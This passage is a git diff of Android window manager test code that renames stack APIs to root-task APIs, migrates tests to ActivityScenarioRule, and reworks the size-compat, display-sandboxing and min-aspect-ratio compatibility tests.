     }
 
-    private static void waitForIdle() {
-        getInstrumentation().waitForIdleSync();
-    }
-
     static Matcher<Float> greaterThanOrEqualToInexact(float expected) {
         return greaterThanOrEqualTo(expected - FLOAT_EQUALITY_DELTA);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index d0265f1..cdf5c12 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -73,8 +73,8 @@
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK);
             waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
-            WindowManagerState.ActivityTask assistantStack =
-                    mWmState.getStackByActivityType(ACTIVITY_TYPE_ASSISTANT);
+            WindowManagerState.Task assistantStack =
+                    mWmState.getRootTaskByActivityType(ACTIVITY_TYPE_ASSISTANT);
             mAssistantDisplayId = assistantStack.mDisplayId;
             mDefaultWindowingMode = getDefaultDisplayWindowingMode();
         }
@@ -94,7 +94,7 @@
             // In a multi-window environment the assistant might not be fullscreen
             assumeTrue(mDefaultWindowingMode == WINDOWING_MODE_FULLSCREEN);
             assertTrue("Expected assistant stack to be fullscreen",
-                    mWmState.getStackByActivityType(
+                    mWmState.getRootTaskByActivityType(
                             ACTIVITY_TYPE_ASSISTANT).isFullscreen());
         }
     }
@@ -127,7 +127,7 @@
 
             mWmState.assertFrontStack("Pinned stack should be on top.",
                     WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
-            mWmState.assertFocusedStack("Assistant stack should be focused.",
+            mWmState.assertFocusedRootTask("Assistant stack should be focused.",
                     WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
         }
     }
@@ -172,13 +172,13 @@
                     "AssistantActivity should be focused", ASSISTANT_ACTIVITY);
             mWmState.assertFrontStackActivityType(
                     "Assistant stack should be on top.", ACTIVITY_TYPE_ASSISTANT);
-            mWmState.assertFocusedStack("Assistant stack should be focused.",
+            mWmState.assertFocusedRootTask("Assistant stack should be focused.",
                     WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
         } else {
             mWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
             mWmState.assertFrontStack("TestActivity stack should be on top.",
                     expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
-            mWmState.assertFocusedStack("TestActivity stack should be focused.",
+            mWmState.assertFocusedRootTask("TestActivity stack should be focused.",
                     expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
         }
 
@@ -187,7 +187,7 @@
         mWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
         mWmState.assertFrontStackActivityType(
                 "Assistant stack should be on top.", ACTIVITY_TYPE_ASSISTANT);
-        mWmState.assertFocusedStack("Assistant stack should be focused.",
+        mWmState.assertFocusedRootTask("Assistant stack should be focused.",
                 WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
     }
 
@@ -200,9 +200,9 @@
             removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
         }
 
-        // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
-        // the fullscreen activity is still visible and on top after the assistant activity finishes
-        launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
+        // Launch an assistant activity on top of an existing activity, and ensure that the activity
+        // is still visible and on top after the assistant activity finishes
+        launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
         try (final AssistantSession assistantSession = new AssistantSession()) {
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
@@ -218,7 +218,7 @@
         mWmState.assertFocusedActivity("TestActivity should be focused", TEST_ACTIVITY);
         mWmState.assertFrontStack("Fullscreen stack should be on top.",
                 mDefaultWindowingMode, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFocusedStack("Fullscreen stack should be focused.",
+        mWmState.assertFocusedRootTask("Fullscreen stack should be focused.",
                 mDefaultWindowingMode, ACTIVITY_TYPE_STANDARD);
     }
 
@@ -277,7 +277,7 @@
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, mDefaultWindowingMode);
 
             final ComponentName homeActivity = mWmState.getHomeActivityName();
-            int windowingMode = mWmState.getFocusedStackWindowingMode();
+            int windowingMode = mWmState.getFocusedRootTaskWindowingMode();
             // In a multi-window environment the home activity might not be fully covered
             assumeTrue(windowingMode == WINDOWING_MODE_FULLSCREEN);
             mWmState.waitAndAssertVisibilityGone(homeActivity);
@@ -319,10 +319,10 @@
             waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
             mWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
-            mWmState.assertFocusedStack("Expected assistant stack focused",
+            mWmState.assertFocusedRootTask("Expected assistant stack focused",
                     WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
             final WindowManagerState amState = mWmState;
-            assertThat(amState.getStackByActivityType(ACTIVITY_TYPE_ASSISTANT).getTasks(),
+            assertThat(amState.getRootTaskByActivityType(ACTIVITY_TYPE_ASSISTANT).getTasks(),
                     hasSize(1));
             final int taskId = mWmState.getTaskByActivity(ASSISTANT_ACTIVITY)
                     .mTaskId;
@@ -345,9 +345,9 @@
             waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
             mWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
-            mWmState.assertFocusedStack("Expected assistant stack focused",
+            mWmState.assertFocusedRootTask("Expected assistant stack focused",
                     WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
-            assertThat(amState.getStackByActivityType(ACTIVITY_TYPE_ASSISTANT).getTasks(),
+            assertThat(amState.getRootTaskByActivityType(ACTIVITY_TYPE_ASSISTANT).getTasks(),
                     hasSize(1));
             assertEquals(taskId,
                     mWmState.getTaskByActivity(ASSISTANT_ACTIVITY).mTaskId);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTests.java
index 313c5f5..f41307b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTests.java
@@ -19,15 +19,18 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 
+import android.app.ActivityOptions;
 import android.app.Instrumentation;
+import android.app.WindowConfiguration;
 import android.util.DisplayMetrics;
 
 import androidx.test.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
 
 import com.android.compatibility.common.util.ShellUtils;
 
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -39,8 +42,20 @@
 public class CloseOnOutsideTests {
 
     @Rule
-    public final ActivityTestRule<CloseOnOutsideTestActivity> mTestActivity =
-            new ActivityTestRule<>(CloseOnOutsideTestActivity.class, true, true);
+    public final ActivityScenarioRule<CloseOnOutsideTestActivity> mScenarioRule =
+            new ActivityScenarioRule<>(CloseOnOutsideTestActivity.class);
+
+    private CloseOnOutsideTestActivity mTestActivity;
+
+    @Before
+    public void setup() {
+        ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchWindowingMode(WindowConfiguration.WINDOWING_MODE_FULLSCREEN);
+        mScenarioRule.getScenario().launch(CloseOnOutsideTestActivity.class, options.toBundle())
+            .onActivity(activity -> {
+                mTestActivity = activity;
+            });
+    }
 
     @Test
     public void withDefaults() {
@@ -49,31 +64,30 @@
 
     @Test
     public void finishTrue() {
-        mTestActivity.getActivity().setFinishOnTouchOutside(true);
+        mTestActivity.setFinishOnTouchOutside(true);
         touchAndAssert(true /* shouldBeFinishing */);
     }
 
     @Test
     public void finishFalse() {
-        mTestActivity.getActivity().setFinishOnTouchOutside(false);
+        mTestActivity.setFinishOnTouchOutside(false);
         touchAndAssert(false /* shouldBeFinishing */);
     }
 
     // Tap the bottom right and check the Activity is finishing
     private void touchAndAssert(boolean shouldBeFinishing) {
-        DisplayMetrics displayMetrics =
-                mTestActivity.getActivity().getResources().getDisplayMetrics();
+        DisplayMetrics displayMetrics = mTestActivity.getResources().getDisplayMetrics();
         int width = (int) (displayMetrics.widthPixels * 0.875f);
         int height = (int) (displayMetrics.heightPixels * 0.875f);
 
         Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
 
         // To be safe, make sure nothing else is finishing the Activity
-        instrumentation.runOnMainSync(() -> assertFalse(mTestActivity.getActivity().isFinishing()));
+        instrumentation.runOnMainSync(() -> assertFalse(mTestActivity.isFinishing()));
 
         ShellUtils.runShellCommand("input tap %d %d", width, height);
 
         instrumentation.runOnMainSync(
-                () -> assertEquals(shouldBeFinishing, mTestActivity.getActivity().isFinishing()));
+                () -> assertEquals(shouldBeFinishing, mTestActivity.isFinishing()));
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 2524090..16bdeb6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -16,12 +16,13 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.pm.ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE;
 import static android.content.pm.ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_MEDIUM_VALUE;
 import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
-import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
 import static android.provider.DeviceConfig.NAMESPACE_CONSTRAIN_DISPLAY_APIS;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.Surface.ROTATION_90;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -46,14 +47,19 @@
 import android.util.Size;
 
 import androidx.annotation.Nullable;
-import androidx.test.filters.FlakyTest;
 
+import libcore.junit.util.compat.CoreCompatChangeRule.DisableCompatChanges;
 import libcore.junit.util.compat.CoreCompatChangeRule.EnableCompatChanges;
 
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+import java.util.List;
 
 /**
  * The test is focused on compatibility changes that have an effect on WM logic, and tests that
@@ -70,13 +76,16 @@
  * atest CtsWindowManagerDeviceTestCases:CompatChangeTests
  */
 @Presubmit
+@RunWith(Parameterized.class)
 public final class CompatChangeTests extends MultiDisplayTestBase {
     private static final ComponentName RESIZEABLE_PORTRAIT_ACTIVITY =
             component(ResizeablePortraitActivity.class);
-    private static final ComponentName RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY =
-            component(ResizeableLargeAspectRatioActivity.class);
     private static final ComponentName NON_RESIZEABLE_PORTRAIT_ACTIVITY =
             component(NonResizeablePortraitActivity.class);
+    private static final ComponentName NON_RESIZEABLE_LANDSCAPE_ACTIVITY =
+            component(NonResizeableLandscapeActivity.class);
+    private static final ComponentName NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY =
+            component(NonResizeableNonFixedOrientationActivity.class);
     private static final ComponentName NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY =
             component(NonResizeableAspectRatioActivity.class);
     private static final ComponentName NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY =
@@ -84,10 +93,6 @@
     private static final ComponentName SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY =
             component(SupportsSizeChangesPortraitActivity.class);
 
-    // Device aspect ratio (both portrait and landscape orientations) for min aspect ratio tests
-    private static final float SIZE_COMPAT_DISPLAY_ASPECT_RATIO = 1.4f;
-    // Fixed orientation min aspect ratio
-    private static final float FIXED_ORIENTATION_MIN_ASPECT_RATIO = 1.03f;
     // The min aspect ratio of NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY (as defined in the manifest).
     private static final float ACTIVITY_MIN_ASPECT_RATIO = 1.6f;
     // The min aspect ratio of NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY (as defined in the
@@ -97,6 +102,14 @@
 
     private static final float FLOAT_EQUALITY_DELTA = 0.01f;
 
+    @Parameterized.Parameters(name= "{0}")
+    public static List<Double> data() {
+        return Arrays.asList(0.5, 2.0);
+    }
+
+    @Parameterized.Parameter(0)
+    public double resizeRatio;
+
     @Rule
     public TestRule compatChangeRule = new PlatformCompatChangeRule();
 
@@ -109,8 +122,7 @@
 
         mDisplayMetricsSession =
                 createManagedDisplayMetricsSession(DEFAULT_DISPLAY);
-        createManagedLetterboxAspectRatioSession(DEFAULT_DISPLAY,
-                FIXED_ORIENTATION_MIN_ASPECT_RATIO);
+        createManagedIgnoreOrientationRequestSession(DEFAULT_DISPLAY, /* value=  */ true);
         createManagedConstrainDisplayApisFlagsSession();
     }
 
@@ -121,7 +133,8 @@
     @Test
     public void testSizeCompatForNonResizeableActivity() {
         runSizeCompatTest(
-                NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ true);
+                NON_RESIZEABLE_PORTRAIT_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                /* inSizeCompatModeAfterResize= */ true);
     }
 
     /**
@@ -132,7 +145,8 @@
     @EnableCompatChanges({ActivityInfo.FORCE_RESIZE_APP})
     public void testSizeCompatForNonResizeableActivityForceResizeEnabled() {
         runSizeCompatTest(
-                NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ false);
+                NON_RESIZEABLE_PORTRAIT_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                /* inSizeCompatModeAfterResize= */ false);
     }
 
     /**
@@ -141,7 +155,8 @@
      */
     @Test
     public void testSizeCompatForResizeableActivity() {
-        runSizeCompatTest(RESIZEABLE_PORTRAIT_ACTIVITY,  /* inSizeCompatModeAfterResize= */ false);
+        runSizeCompatTest(RESIZEABLE_PORTRAIT_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                /* inSizeCompatModeAfterResize= */ false);
     }
 
     /**
@@ -151,7 +166,8 @@
     @Test
     public void testSizeCompatForSupportsSizeChangesActivity() {
         runSizeCompatTest(
-                SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ false);
+                SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                /* inSizeCompatModeAfterResize= */ false);
     }
 
     /**
@@ -161,7 +177,8 @@
     @Test
     @EnableCompatChanges({ActivityInfo.FORCE_NON_RESIZE_APP})
     public void testSizeCompatForResizeableActivityForceNonResizeEnabled() {
-        runSizeCompatTest(RESIZEABLE_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ true);
+        runSizeCompatTest(RESIZEABLE_PORTRAIT_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                /* inSizeCompatModeAfterResize= */ true);
     }
 
     /**
@@ -173,7 +190,8 @@
     @EnableCompatChanges({ActivityInfo.FORCE_NON_RESIZE_APP})
     public void testSizeCompatForSupportsSizeChangesActivityForceNonResizeEnabled() {
         runSizeCompatTest(
-                SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ true);
+                SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                /* inSizeCompatModeAfterResize= */ true);
     }
 
     /**
@@ -182,9 +200,19 @@
      */
     @Test
     public void testSandboxForNonResizableAspectRatioActivity() {
-        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ true);
+        runSizeCompatModeSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY,
+                /* isSandboxed= */ true);
+        assertSandboxedByBounds(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */
+                true);
     }
 
+     // =================
+     // NEVER_SANDBOX test cases
+     // =================
+     // Validates that an activity forced into size compat mode never has sandboxing applied to the
+     // max bounds. It is expected that an activity in size compat mode normally always has
+     // sandboxing applied.
+
     /**
      * Test that a min aspect ratio activity eligible for size compat mode does not have the Display
      * APIs sandboxed when the {@link ActivityInfo#NEVER_SANDBOX_DISPLAY_APIS} compat change is
@@ -193,7 +221,8 @@
     @Test
     @EnableCompatChanges({ActivityInfo.NEVER_SANDBOX_DISPLAY_APIS})
     public void testSandboxForNonResizableAspectRatioActivityNeverSandboxDisplayApisEnabled() {
-        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ false);
+        runSizeCompatModeSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY,
+                /* isSandboxed= */ false);
     }
 
     /**
@@ -206,7 +235,8 @@
         setNeverConstrainDisplayApisAllPackagesFlag("true");
         // Setting 'never_constrain_display_apis' as well to make sure it is ignored.
         setNeverConstrainDisplayApisFlag("com.android.other::");
-        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ false);
+        runSizeCompatModeSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY,
+                /* isSandboxed= */ false);
     }
 
     /**
@@ -219,7 +249,7 @@
         ComponentName activity = NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY;
         setNeverConstrainDisplayApisFlag(
                 "com.android.other::," + activity.getPackageName() + "::");
-        runSandboxTest(activity, /* isSandboxed= */ false);
+        runSizeCompatModeSandboxTest(activity, /* isSandboxed= */ false);
     }
 
     /**
@@ -234,7 +264,7 @@
         setNeverConstrainDisplayApisFlag(
                 "com.android.other::," + activity.getPackageName() + ":" + String.valueOf(
                         version - 1) + ":" + String.valueOf(version + 1));
-        runSandboxTest(activity, /* isSandboxed= */ false);
+        runSizeCompatModeSandboxTest(activity, /* isSandboxed= */ false);
     }
 
     /**
@@ -249,7 +279,7 @@
         setNeverConstrainDisplayApisFlag(
                 "com.android.other::," + activity.getPackageName() + ":" + String.valueOf(
                         version + 1) + ":");
-        runSandboxTest(activity, /* isSandboxed= */ true);
+        runSizeCompatModeSandboxTest(activity, /* isSandboxed= */ true);
     }
 
     /**
@@ -260,7 +290,8 @@
     @Test
     public void testSandboxForNonResizableActivityPackageNotInNeverSandboxDeviceConfigFlag() {
         setNeverConstrainDisplayApisFlag("com.android.other::,com.android.other2::");
-        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ true);
+        runSizeCompatModeSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY,
+                /* isSandboxed= */ true);
     }
 
     /**
@@ -270,7 +301,8 @@
     @Test
     public void testSandboxForNonResizableActivityNeverSandboxDeviceConfigFlagEmpty() {
         setNeverConstrainDisplayApisFlag("");
-        runSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */ true);
+        runSizeCompatModeSandboxTest(NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY,
+                /* isSandboxed= */ true);
     }
 
     /**
@@ -283,43 +315,48 @@
         ComponentName activity = NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY;
         setNeverConstrainDisplayApisFlag(
                 "com.android.other::," + activity.getPackageName() + ":::");
-        runSandboxTest(activity, /* isSandboxed= */ true);
+        runSizeCompatModeSandboxTest(activity, /* isSandboxed= */ true);
     }
 
+    // =================
+    // ALWAYS_SANDBOX test cases
+    // =================
+    // Validates that an activity simply in letterbox mode has sandboxing applied to the max
+    // bounds when ALWAYS_SANDBOX is set. Without the flag, we would not expect a letterbox activity
+    // to be sandboxed, unless it is also eligible for size compat mode.
+
     /**
-     * Test that a min aspect ratio activity not eligible for size compat mode does have the
+     * Test that a portrait activity not eligible for size compat mode does have the
      * Display APIs sandboxed when the {@link ActivityInfo#ALWAYS_SANDBOX_DISPLAY_APIS} compat
      * change is enabled.
      */
     @Test
     @EnableCompatChanges({ActivityInfo.ALWAYS_SANDBOX_DISPLAY_APIS})
-    public void testSandboxForResizableAspectRatioActivityAlwaysSandboxDisplayApisEnabled() {
-        runSandboxTest(RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */
-                true, /* inSizeCompatModeAfterResize= */ false);
+    public void testSandboxForResizableActivityAlwaysSandboxDisplayApisEnabled() {
+        runLetterboxSandboxTest(RESIZEABLE_PORTRAIT_ACTIVITY, /* isSandboxed= */ true);
     }
 
     /**
-     * Test that a min aspect ratio activity non eligible for size compat mode does not have the
+     * Test that a portrait activity not eligible for size compat mode does not have the
      * Display APIs sandboxed when the 'always_constrain_display_apis' Device Config flag is empty.
      */
     @Test
     public void testSandboxResizableActivityAlwaysSandboxDeviceConfigFlagEmpty() {
         setAlwaysConstrainDisplayApisFlag("");
-        runSandboxTest(RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY, /* isSandboxed= */
-                false, /* inSizeCompatModeAfterResize= */ false);
+        runLetterboxSandboxTest(RESIZEABLE_PORTRAIT_ACTIVITY, /* isSandboxed= */ false);
     }
 
     /**
-     * Test that a min aspect ratio activity eligible for size compat mode does have the Display
+     * Test that a portrait activity not eligible for size compat mode does have the Display
      * APIs sandboxed when the 'always_constrain_display_apis' Device Config flag contains the test
      * package.
      */
     @Test
     public void testSandboxResizableActivityPackageInAlwaysSandboxDeviceConfigFlag() {
-        ComponentName activity = RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY;
+        ComponentName activity = RESIZEABLE_PORTRAIT_ACTIVITY;
         setAlwaysConstrainDisplayApisFlag(
                 "com.android.other::," + activity.getPackageName() + "::");
-        runSandboxTest(activity, /* isSandboxed= */ true, /* inSizeCompatModeAfterResize= */ false);
+        runLetterboxSandboxTest(activity, /* isSandboxed= */ true);
     }
 
     /**
@@ -330,11 +367,7 @@
     @Test
     @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO})
     public void testOverrideMinAspectRatioMissingSpecificOverride() {
-        // Note that we're using getBounds() in portrait, rather than getAppBounds() like other
-        // tests, because we're comparing to the display size and therefore need to consider insets.
-        runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY,
-                /* expected= */ SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
-                /* useAppBoundsInPortrait= */false);
+        runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* expected= */ 0);
     }
 
     /**
@@ -344,11 +377,55 @@
     @Test
     @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
     public void testOverrideMinAspectRatioMissingGeneralOverride() {
-        // Note that we're using getBounds() in portrait, rather than getAppBounds() like other
-        // tests, because we're comparing to the display size and therefore need to consider insets.
-        runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY,
-                /* expected= */ SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
-                /* useAppBoundsInPortrait= */false);
+        runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* expected= */ 0);
+    }
+
+    /**
+     * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+     * activities whose orientation is fixed to landscape.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+            ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+    public void testOverrideMinAspectRatioForLandscapeActivity() {
+        runMinAspectRatioTest(NON_RESIZEABLE_LANDSCAPE_ACTIVITY, /* expected= */ 0);
+    }
+
+    /**
+     * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+     * activities whose orientation isn't fixed.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+            ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+    @DisableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_PORTRAIT_ONLY})
+    public void testOverrideMinAspectRatioForNonFixedOrientationActivityPortraitOnlyDisabled() {
+        runMinAspectRatioTest(NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY, /* expected= */
+                OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE);
+    }
+
+    /**
+     * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+     * activities whose orientation is fixed to landscape.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+            ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+    @DisableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_PORTRAIT_ONLY})
+    public void testOverrideMinAspectRatioForLandscapeActivityPortraitOnlyDisabled() {
+        runMinAspectRatioTest(NON_RESIZEABLE_LANDSCAPE_ACTIVITY, /* expected= */
+                OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE);
+    }
+
+    /**
+     * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+     * activities whose orientation isn't fixed.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+            ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+    public void testOverrideMinAspectRatioForNonFixedOrientationActivity() {
+        runMinAspectRatioTest(NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY, /* expected= */ 0);
     }
 
     /**
@@ -402,7 +479,7 @@
 
     /**
      * Test that the min aspect ratio of the activity as defined in the manifest is upheld if
-     * there is a n override for a smaller min aspect ratio present (3:2 < 1.6).
+     * there is an override for a smaller min aspect ratio present (3:2 < 1.6).
      */
     @Test
     @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
@@ -418,13 +495,17 @@
      * original size.
      *
      * @param activity                    the activity under test.
+     * @param windowingMode               the launch windowing mode for the activity
      * @param inSizeCompatModeAfterResize if the activity should be in size compat mode after
      *                                    resizing the display
      */
-    private void runSizeCompatTest(ComponentName activity, boolean inSizeCompatModeAfterResize) {
-        runSizeCompatTest(activity, /* resizeRatio= */ 0.5, inSizeCompatModeAfterResize);
-        restoreDisplay(activity);
-        runSizeCompatTest(activity, /* resizeRatio= */ 2, inSizeCompatModeAfterResize);
+    private void runSizeCompatTest(ComponentName activity, int windowingMode,
+            boolean inSizeCompatModeAfterResize) {
+        mWmState.computeState();
+        WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
+
+        runSizeCompatTest(activity, windowingMode, resizeRatio,
+                inSizeCompatModeAfterResize);
     }
 
     /**
@@ -432,13 +513,17 @@
      * After resizing the display, verifies if activity is in size compat mode or not
      *
      * @param activity                    the activity under test
+     * @param windowingMode               the launch windowing mode for the activity
      * @param resizeRatio                 the ratio to resize the display
      * @param inSizeCompatModeAfterResize if the activity should be in size compat mode after
      *                                    resizing the display
      */
-    private void runSizeCompatTest(ComponentName activity, double resizeRatio,
+    private void runSizeCompatTest(ComponentName activity, int windowingMode, double resizeRatio,
             boolean inSizeCompatModeAfterResize) {
-        launchActivity(activity);
+        // TODO(b/208918131): Remove once real cause is found.
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
+
+        launchActivity(activity, windowingMode);
 
         assertSizeCompatMode(activity, /* expectedInSizeCompatMode= */ false);
 
@@ -459,32 +544,69 @@
         }
     }
 
-    private void runSandboxTest(ComponentName activity, boolean isSandboxed) {
-        runSandboxTest(activity, isSandboxed, /* inSizeCompatModeAfterResize= */ true);
+    private void runSizeCompatModeSandboxTest(ComponentName activity,
+            boolean isSandboxed) {
+        runSizeCompatModeSandboxTest(activity, isSandboxed,
+                /* inSizeCompatModeAfterResize= */ true);
     }
 
     /**
-     * Similar to {@link #runSizeCompatTest(ComponentName, boolean)}, but the activity is expected
-     * to be in size compat mode after resizing the display.
+     * Similar to {@link #runSizeCompatTest(ComponentName, int, boolean)}, but the activity is
+     * expected to be in size compat mode after resizing the display.
      *
      * @param activity                    the activity under test
-     * @param isSandboxed                 when {@code true}, {@link android.app.WindowConfiguration#getMaxBounds()}
-     *                                    are sandboxed to the activity bounds. Otherwise, they inherit the
+     * @param isSandboxed                 when {@code true},
+     * {@link android.app.WindowConfiguration#getMaxBounds()}
+     *                                    are sandboxed to the activity bounds. Otherwise, they
+     *                                    inherit the
      *                                    DisplayArea bounds
      * @param inSizeCompatModeAfterResize if the activity should be in size compat mode after
      *                                    resizing the display
      */
-    private void runSandboxTest(ComponentName activity, boolean isSandboxed,
+    private void runSizeCompatModeSandboxTest(ComponentName activity, boolean isSandboxed,
             boolean inSizeCompatModeAfterResize) {
